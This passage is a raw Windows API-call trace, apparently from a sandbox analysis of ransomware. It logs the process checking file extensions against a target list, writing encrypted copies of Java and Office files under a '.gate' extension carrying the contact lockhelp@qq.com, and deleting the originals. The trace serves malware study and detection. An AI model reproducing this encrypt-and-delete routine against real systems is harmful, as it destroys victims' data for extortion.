(lpString1=".docx", lpString2="2.gif") returned -1 [0116.351] lstrlenW (lpString=".pdf") returned 4 [0116.351] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.351] lstrlenW (lpString=".xls") returned 4 [0116.351] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.351] lstrlenW (lpString=".xlsx") returned 5 [0116.351] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.351] lstrlenW (lpString=".ppt") returned 4 [0116.352] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.352] lstrlenW (lpString=".zip") returned 4 [0116.352] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.352] lstrlenW (lpString=".rar") returned 4 [0116.352] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.352] lstrlenW (lpString=".bz2") returned 4 [0116.352] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.352] lstrlenW (lpString=".7z") returned 3 [0116.352] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.352] lstrlenW (lpString=".dbf") returned 4 [0116.352] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.352] lstrlenW (lpString=".1cd") returned 4 [0116.352] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.352] lstrlenW (lpString=".jpg") returned 4 [0116.352] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.352] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0116.353] lstrlenW (lpString="tzdb.dat") returned 8 [0116.353] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.397] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=105500) returned 1 [0116.397] CloseHandle (hObject=0x370) returned 1 [0116.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0116.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.398] GetLastError () returned 0x0 [0116.398] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0116.430] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x19c20, lpOverlapped=0x0) returned 1 [0116.432] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0116.433] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0116.433] SetEndOfFile (hFile=0x30c) returned 1 [0116.433] CloseHandle (hObject=0x30c) returned 1 [0116.442] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.442] SetEndOfFile (hFile=0x370) returned 1 [0116.443] CloseHandle (hObject=0x370) returned 1 [0116.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.444] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0116.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.444] lstrlenW (lpString=".doc") returned 4 [0116.444] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0116.444] lstrlenW (lpString=".docx") returned 5 [0116.444] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0116.444] lstrlenW (lpString=".pdf") returned 4 [0116.444] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0116.444] lstrlenW (lpString=".xls") returned 4 [0116.445] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString=".xlsx") returned 5 [0116.445] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0116.445] lstrlenW (lpString=".ppt") returned 4 [0116.445] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString=".zip") returned 4 [0116.445] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString=".rar") returned 4 [0116.445] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString=".bz2") returned 4 [0116.445] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0116.445] lstrlenW (lpString=".7z") returned 3 [0116.445] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString=".dbf") returned 4 [0116.445] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString=".1cd") returned 4 [0116.445] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString=".jpg") returned 4 [0116.445] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.445] lstrlenW (lpString=".doc") returned 4 [0116.445] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString=".docx") returned 5 [0116.446] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0116.446] lstrlenW (lpString=".pdf") returned 4 [0116.446] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString=".xls") returned 4 [0116.446] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString=".xlsx") returned 5 [0116.446] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0116.446] lstrlenW (lpString=".ppt") returned 4 [0116.446] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.446] lstrlenW (lpString=".zip") returned 4 [0116.446] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString=".rar") returned 4 [0116.446] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString=".bz2") returned 4 [0116.446] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0116.446] lstrlenW (lpString=".7z") returned 3 [0116.446] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0116.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.446] lstrlenW (lpString=".dbf") returned 4 [0116.446] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0116.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.446] lstrlenW (lpString=".1cd") returned 4 [0116.446] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0116.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0116.446] lstrlenW (lpString=".jpg") returned 4 [0116.447] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0116.449] lstrcmpiW (lpString1=".txt", lpString2=".gate") returned 1 [0116.449] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0116.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.449] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=145180) returned 1 [0116.449] CloseHandle (hObject=0x370) returned 1 [0116.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0116.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.450] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.450] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.450] GetLastError () returned 0x0 [0116.450] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x2371c, lpOverlapped=0x0) returned 1 [0116.474] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x23720, lpOverlapped=0x0) returned 1 [0116.478] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0116.478] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x10a, lpOverlapped=0x0) returned 1 [0116.478] SetEndOfFile (hFile=0x30c) returned 1 [0116.478] CloseHandle (hObject=0x30c) returned 1 [0116.575] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.576] SetEndOfFile (hFile=0x370) returned 1 [0116.578] CloseHandle (hObject=0x370) returned 1 [0116.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.578] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0116.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.579] lstrlenW (lpString=".doc") returned 4 [0116.579] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.579] lstrlenW (lpString=".docx") returned 5 [0116.579] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0116.579] lstrlenW (lpString=".pdf") returned 4 [0116.579] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.579] lstrlenW (lpString=".xls") returned 4 [0116.579] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.579] lstrlenW (lpString=".xlsx") returned 5 [0116.579] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0116.579] lstrlenW (lpString=".ppt") returned 4 [0116.579] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.579] lstrlenW (lpString=".zip") returned 4 [0116.579] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.579] lstrlenW (lpString=".rar") returned 4 [0116.579] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.579] lstrlenW (lpString=".bz2") returned 4 [0116.579] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.579] lstrlenW (lpString=".7z") returned 3 [0116.579] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.579] lstrlenW (lpString=".dbf") returned 4 [0116.580] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.580] lstrlenW (lpString=".1cd") returned 4 [0116.580] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.580] lstrlenW (lpString=".jpg") returned 4 [0116.580] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.580] lstrlenW (lpString=".doc") returned 4 [0116.580] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString=".docx") returned 5 [0116.580] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0116.580] lstrlenW (lpString=".pdf") returned 4 [0116.580] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString=".xls") returned 4 [0116.580] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.580] lstrlenW (lpString=".xlsx") returned 5 [0116.580] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0116.580] lstrlenW (lpString=".ppt") returned 4 [0116.580] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.580] lstrlenW (lpString=".zip") returned 4 [0116.581] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.581] lstrlenW (lpString=".rar") returned 4 [0116.581] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.581] lstrlenW (lpString=".bz2") returned 4 [0116.581] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.581] lstrlenW (lpString=".7z") returned 3 [0116.581] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.581] lstrlenW (lpString=".dbf") returned 4 [0116.581] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.581] lstrlenW (lpString=".1cd") returned 4 [0116.581] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0116.581] lstrlenW (lpString=".jpg") returned 4 [0116.581] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.581] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0116.581] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0116.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.582] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=281) returned 1 [0116.582] CloseHandle (hObject=0x370) returned 1 [0116.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0116.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.582] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.582] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.583] GetLastError () returned 0x0 [0116.583] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x119, lpOverlapped=0x0) returned 1 [0116.584] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x120, lpOverlapped=0x0) returned 1 [0116.585] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0116.585] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x100, lpOverlapped=0x0) returned 1 [0116.588] SetEndOfFile (hFile=0x30c) returned 1 [0116.588] CloseHandle (hObject=0x30c) returned 1 [0116.594] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.594] SetEndOfFile (hFile=0x370) returned 1 [0116.595] CloseHandle (hObject=0x370) returned 1 [0116.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0116.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0116.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.596] lstrlenW (lpString=".doc") returned 4 [0116.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString=".docx") returned 5 [0116.597] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0116.597] lstrlenW (lpString=".pdf") returned 4 [0116.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString=".xls") returned 4 [0116.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString=".xlsx") returned 5 [0116.597] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0116.597] lstrlenW (lpString=".ppt") returned 4 [0116.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.597] lstrlenW (lpString=".zip") returned 4 [0116.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.597] lstrlenW (lpString=".rar") returned 4 [0116.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString=".bz2") returned 4 [0116.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString=".7z") returned 3 [0116.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.597] lstrlenW (lpString=".dbf") returned 4 [0116.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.597] lstrlenW (lpString=".1cd") returned 4 [0116.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.597] lstrlenW (lpString=".jpg") returned 4 [0116.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.598] lstrlenW (lpString=".doc") returned 4 [0116.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString=".docx") returned 5 [0116.598] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0116.598] lstrlenW (lpString=".pdf") returned 4 [0116.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString=".xls") returned 4 [0116.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString=".xlsx") returned 5 [0116.598] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0116.598] lstrlenW (lpString=".ppt") returned 4 [0116.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.598] lstrlenW (lpString=".zip") returned 4 [0116.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.598] lstrlenW (lpString=".rar") returned 4 [0116.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString=".bz2") returned 4 [0116.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.598] lstrlenW (lpString=".7z") returned 3 [0116.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.599] lstrlenW (lpString=".dbf") returned 4 [0116.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.599] lstrlenW (lpString=".1cd") returned 4 [0116.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0116.599] lstrlenW (lpString=".jpg") returned 4 [0116.599] 